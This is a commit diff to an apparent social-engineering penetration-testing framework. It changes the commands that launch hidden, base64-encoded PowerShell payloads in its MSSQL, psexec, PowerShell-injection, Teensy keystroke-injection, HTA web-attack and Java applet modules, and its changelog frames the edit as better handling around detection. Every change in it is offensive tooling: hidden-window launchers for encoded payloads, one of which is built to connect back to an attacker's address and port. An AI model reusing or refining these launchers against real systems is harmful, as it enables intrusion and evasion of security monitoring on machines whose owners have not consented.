add better handling on powershell encoded command

readme/CHANGELOG

@@ -1,3 +1,9 @@
+~~~~~~~~~~~~~~~~
+version 7.2.3
+~~~~~~~~~~~~~~~~
+
+* added better handling around powershell detection
+
 ~~~~~~~~~~~~~~~~
 version 7.2.2
 ~~~~~~~~~~~~~~~~

src/core/setcore.py

@@ -269,7 +269,7 @@ def print_error(message):
 
 
 def get_version():
-    define_version = '7.2.2'
+    define_version = '7.2.3'
     return define_version
 
 class create_menu:

src/fasttrack/mssql.py

@@ -222,7 +222,7 @@ def deploy_hex2binary(ipaddr, port, username, password):
 
         x86 = open(setdir + "/x86.powershell", "r")
         x86 = x86.read()
-        x86 = "powershell -nop -win hidden -noni -enc " + x86
+        x86 = "powershell -nop -window hidden -noni -EncodedCommand " + x86
         print_status(
             "If you want the powershell commands and attack, they are exported to %s/reports/powershell/" % (setdir))
         filewrite = open(

src/fasttrack/psexec.py

@@ -78,7 +78,7 @@ try:
 
     x86 = open(setdir + "/x86.powershell", "r")
     x86 = x86.read()
-    x86 = "powershell -nop -win hidden -noni -enc " + x86
+    x86 = "powershell -nop -window hidden -noni -EncodedCommand " + x86
     print_status(
         "If you want the powershell commands and attack, they are exported to %s/reports/powershell/" % (setdir))
     filewrite = open(

src/powershell/powershell.py

@@ -46,7 +46,7 @@ if powershell_menu_choice != "99":
         # here we format everything for us
         x86 = open(setdir + "/x86.powershell", "r")
         x86 = x86.read()
-        x86 = "powershell -nop -win hidden -noni -enc " + x86
+        x86 = "powershell -nop -window hidden -noni -EncodedCommand " + x86
         print_status(
             "If you want the powershell commands and attack, they are exported to %s/reports/powershell/" % (setdir))
         filewrite = open(

src/teensy/powershell_shellcode.py

@@ -70,7 +70,7 @@ void loop()
   delay(5000);
   CommandAtRunBar("cmd");
   delay(750);
-  Keyboard.print("powershell -nop -win hidden -noni -enc ");
+  Keyboard.print("powershell -nop -window hidden -noni -EncodedCommand ");
   // Write the binary to the notepad file
   int i;
   for (i = 0; i < sizeof(exploit)/sizeof(int); i++) {

src/webattack/hta/main.py

@@ -33,7 +33,7 @@ def gen_hta_cool_stuff():
         "Generating powershell injection code and x86 downgrade attack...")
     ps = generate_powershell_alphanumeric_payload(
         selection, ipaddr, port, "x86")
-    command = ("powershell -window hidden -enc " + ps) #.decode('ascii'))
+    command = ("powershell -window hidden -EncodedCommand " + ps)
     # hta code here
     print_status("Embedding HTA attack vector and PowerShell injection...")
     # grab cloned website

src/webattack/java_applet/Java.java

@@ -245,7 +245,7 @@ public class Java extends Applet {
 					String[] arrSplit = strMain.split(",");
 					for (int i=0; i<arrSplit.length; i++)
 					{
-						f = Runtime.getRuntime().exec("cmd /c powershell -enc " + arrSplit[i]);
+						f = Runtime.getRuntime().exec("cmd /c powershell -EncodedCommand " + arrSplit[i]);
 	                }
                 }
                 }